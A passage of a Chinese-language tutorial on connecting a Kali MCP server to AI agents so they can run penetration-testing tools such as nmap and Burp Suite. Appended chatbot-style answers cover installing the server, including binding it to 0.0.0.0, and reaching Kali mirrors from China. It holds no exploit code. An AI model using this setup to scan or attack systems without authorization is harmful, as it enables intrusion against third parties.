# 实时查看日志
tail -f ~/.kali-mcp/logs/server.log
# 搜索错误
grep ERROR ~/.kali-mcp/logs/server.log
3. 测试单个工具
# 直接测试 MCP 工具
kali-mcp-server test-tool nmap_scan \
--params '{"target": "scanme.nmap.org"}'
9. 进阶话题
9.1 自定义 MCP 工具
创建自定义工具
在 ~/.kali-mcp/tools/custom_scanner.py:
from kali_mcp_server import Tool, ToolResult
class CustomScanner(Tool):
name = "custom_scanner"
description = "自定义扫描工具"
parameters = {
"type": "object",
"properties": {
"target": {"type": "string"},
"options": {"type": "array"}
},
"required": ["target"]
}
def execute(self, target: str, options: list = None):
# 实现扫描逻辑
result = self._scan(target, options)
return ToolResult(
success=True,
data=result,
message="扫描完成"
)
def _scan(self, target, options):
# 具体实现
pass
注册自定义工具
# 注册工具
kali-mcp-server tools register ~/.kali-mcp/tools/custom_scanner.py
# 验证
kali-mcp-server tools list | grep custom_scanner
9.2 集成第三方工具
示例:集成 Burp Suite
# ~/.kali-mcp/tools/burp_integration.py
import requests
class BurpSuiteTool(Tool):
name = "burp_scan"
def execute(self, target: str):
# 通过 Burp Suite REST API 发起扫描
response = requests.post(
"http://localhost:1337/v0.1/scan",
json={
"urls": [target],
"scan_configurations": [{
"name": "Crawl and Audit - Fast",
"type": "NamedConfiguration"
}]
}
)
return ToolResult(
success=True,
data=response.json()
)
9.3 多模型协作
配置多模型策略
{
"agents": {
"defaults": {
"model": {
"primary": "anthropic/claude-opus-4-6",
"fallbacks": [
"openai/gpt-5.1-codex",
"ollama/llama3.3"
]
},
"strategy": {
"type": "consensus", // 多模型投票
"min_agreement": 0.7
}
}
}
}
使用场景
用户:这个漏洞是否可以利用?请多个模型分析
Agent:正在使用 3 个模型进行分析...
Claude Opus 4: 可以利用,成功率约 80%
GPT-5.1: 可以利用,但需要特定条件
Llama 3.3: 风险较高,建议谨慎
综合判断:可以利用(置信度 73%)
10. 参考资源
10.1 官方文档
-
Kali MCP Server
-
OpenClaw
- GitHub: https://github.com/openclaw/openclaw
- 文档: https://docs.openclaw.ai
- ClawHub: https://clawhub.com
-
Model Context Protocol (MCP)
10.2 学习资源
-
渗透测试标准
- PTES: http://www.pentest-standard.org
- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide
- NIST SP 800-115: https://csrc.nist.gov/publications/detail/sp/800-115/final
-
工具文档
- Nmap: https://nmap.org/book/
- Metasploit: https://docs.metasploit.com
- SQLMap: https://github.com/sqlmapproject/sqlmap/wiki
10.3 社区与支持
-
论坛
- Kali Forums: https://forums.kali.org
- OpenClaw Discord: https://discord.gg/openclaw
-
示例项目
- Kali MCP Examples: https://github.com/kali-mcp/examples
- OpenClaw Skills: https://github.com/openclaw/skills
11. 总结
通过将 Kali MCP Server 与 OpenClaw 结合使用,我们可以:
-
降低技术门槛:用自然语言控制复杂的渗透测试工具
-
提升工作效率:自动化重复性任务,专注于高价值分析
-
标准化流程:建立可复用的测试工作流和最佳实践
-
增强协作:团队共享知识和测试结果
-
持续改进:AI 学习历史经验,不断优化测试策略
关键要点
-
✅ 始终在授权范围内进行测试
-
✅ 启用沙箱和安全限制
-
✅ 保持工具和配置的更新
-
✅ 记录所有操作并定期审计
-
✅ 遵守法律法规和行业标准
下一步
-
按照本文步骤完成环境搭建
-
从简单的信息收集任务开始
-
逐步尝试更复杂的测试场景
-
创建适合自己团队的自定义 Skills
-
持续优化工作流程
免责声明:本文仅供学习和研究使用。任何渗透测试活动都必须在获得明确授权的情况下进行。未经授权的测试可能违反法律,作者和发布者不承担任何责任。
版权声明:本文采用 CC BY-NC-SA 4.0 许可协议。
Kali MCP 通常指的是让 AI(如 Claude Desktop、Cursor、5ire 等支持 MCP协议 的客户端)能够直接调用和控制 Kali Linux 进行渗透测试的工具/桥接服务器。最主流、最官方的实现方式是使用 Kali 官方打包的 mcp-kali-server 包。
2026 年最推荐的安装方式(官方推荐)
在 Kali Linux 上执行以下命令即可(rolling 版本应该已包含此包):
# 更新软件源(建议先做)
sudo apt update
# 直接安装(最简单官方方式)
sudo apt install -y mcp-kali-server
# 启动服务(默认监听 127.0.0.1:5000,可加参数改端口/IP)
kali-server-mcp
# 推荐启动方式(允许局域网访问,方便 Windows/Mac 的 Claude 等连接)
kali-server-mcp --port 5000 # 默认就是 5000
# 或者后台启动(常用)
nohup kali-server-mcp --host 0.0.0.0 --port 5000 > mcp.log 2>&1 &
启动后看到类似下面日志就成功了:
2026-xx-xx xx:xx:xx [INFO] Starting Kali MCP server on http://0.0.0.0:5000
然后在你的 AI 客户端(Claude Desktop / 5ire 等)连接
大多数客户端连接方式是:
-
MCP Server URL 填:
http://你的Kali的IP:5000- 本机测试:
http://127.0.0.1:5000或http://localhost:5000 - 局域网/虚拟机:
http://192.168.x.x:5000(记得防火墙放行 5000 端口)
- 本机测试:
示例(Claude Desktop):
-
打开 Claude Desktop → Settings → MCP Servers
-
Add new server
-
URL 填上面那个地址
-
测试连接 → 成功后就可以直接对 Claude 说:“用 nmap 扫一下 192.168.1.1” 之类的话了
其他常见安装方式(如果你 apt 里没有这个包)
-
GitHub 官方/社区版(https://github.com/Wh0am123/MCP-Kali-Server)
git clone https://github.com/Wh0am123/MCP-Kali-Server.git
cd MCP-Kali-Server
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 server.py --host 0.0.0.0 --port 5000
-
安全增强版(推荐有中文社区维护的版本)
git clone https://github.com/AeolusTF/MCP-Kali-Server-security.git
cd MCP-Kali-Server-security
python3 kali_server.py
快速检查是否成功的小技巧
启动服务器后,在 Kali 自己浏览器或用 curl 测试:
curl http://localhost:5000/health
正常应该返回类似 {"status": "healthy"} 的 json。
注意安全事项(非常重要!)
-
千万不要 把 5000 端口暴露到公网(除非你加了强认证)
-
建议只允许局域网或特定 IP 访问
-
可以考虑加 basic auth 或 token(部分 fork 版本已支持)
-
生产环境推荐用 frp / ngrok / tailscale 等做内网穿透,而不是直接开公网端口
需要哪种客户端的具体连接教程(Claude Desktop、Cursor、5ire……)?或者你遇到什么报错?可以继续说~
安装 Kali Linux 本身基本不需要翻墙,但具体取决于你安装的阶段和后续操作。下面按不同场景给你最清晰的说明(基于2026年2月的实际情况):
1. 下载 Kali ISO 镜像(最关键的一步)
-
不需要翻墙
Kali 官方下载地址(https://www.kali.org/get-kali/)在中国大陆是可以正常访问和下载的。
官方会自动重定向到地理位置最近的镜像(很多时候就是亚洲/国内节点)。
国内用户最常用的高速镜像站包括:- 清华大学:https://mirrors.tuna.tsinghua.edu.cn/kali-images/
- 中国科学技术大学:https://mirrors.ustc.edu.cn/kali-images/
- 阿里云、华为云等也有完整镜像
你直接选这些国内镜像下载 ISO 文件,速度通常能跑到几 MB/s 到十几 MB/s,完全不用科学上网。
2. 安装过程(图形界面/文本安装)
-
不需要翻墙
从 ISO 启动 → 选择安装 → 分区 → 设置用户名密码 → 全部本地操作,不涉及联网。
即使你全程断网也能顺利装完系统。
3. 第一次 apt update && apt upgrade(安装后立即更新)
-
强烈建议换国内源,否则大概率很慢或连不上
默认源是 http.kali.org,在国内经常被限速到几十 KB/s,甚至连不上。
解决办法(安装完系统后立刻做这一步):sudo sed -i 's|http://http.kali.org/kali|https://mirrors.tuna.tsinghua.edu.cn/kali|g' /etc/apt/sources.list # 或者用中科大: # sudo sed -i 's|http://http.kali.org/kali|https://mirrors.ustc.edu.cn/kali|g' /etc/apt/sources.list sudo apt update sudo apt full-upgrade -y换源后更新速度通常能恢复正常,不需要翻墙。
4. 后续真正“需要翻墙”的场景(安装后使用阶段)
-
安装某些国外专有软件(Google Chrome、VS Code 官方源、部分驱动等)
-
使用很多渗透测试工具访问目标网站(nmap、sqlmap、metasploit 模块更新、exploit-db 搜索等)
-
浏览国外安全社区、下载最新 PoC、访问 GitHub 上的某些仓库
-
Kali 里预装的 burpsuite、metasploit 等社区版更新源有时也会卡
这些情况确实需要科学上网工具(Clash、v2ray、proxychains + 全局代理等)才能流畅使用。
总结一句话判断表
| 阶段 | 是否必须翻墙 | 备注与建议 |
|---|---|---|
| 下载 ISO | 否 | 用清华/中科大/阿里云镜像最快 |
| 安装系统过程 | 否 | 全程可断网 |
| 第一次系统更新 | 建议换源 | 不换源极慢,换国内源后基本够用 |
| 日常使用渗透工具 | 经常需要 | 很多 exploit、PoC、外部资源要翻墙访问 |
| 装 Chrome / 字体等 | 通常需要 | deb 包可提前下载,或用国内镜像源替代 |
结论:单纯“把 Kali 装好”不需要翻墙,但想让它真正好用(尤其是做渗透测试),几乎离不开科学上网工具。建议先用国内镜像装好系统 → 换清华/中科大源更新 → 再配置代理工具。
有哪一步卡住了可以继续问~
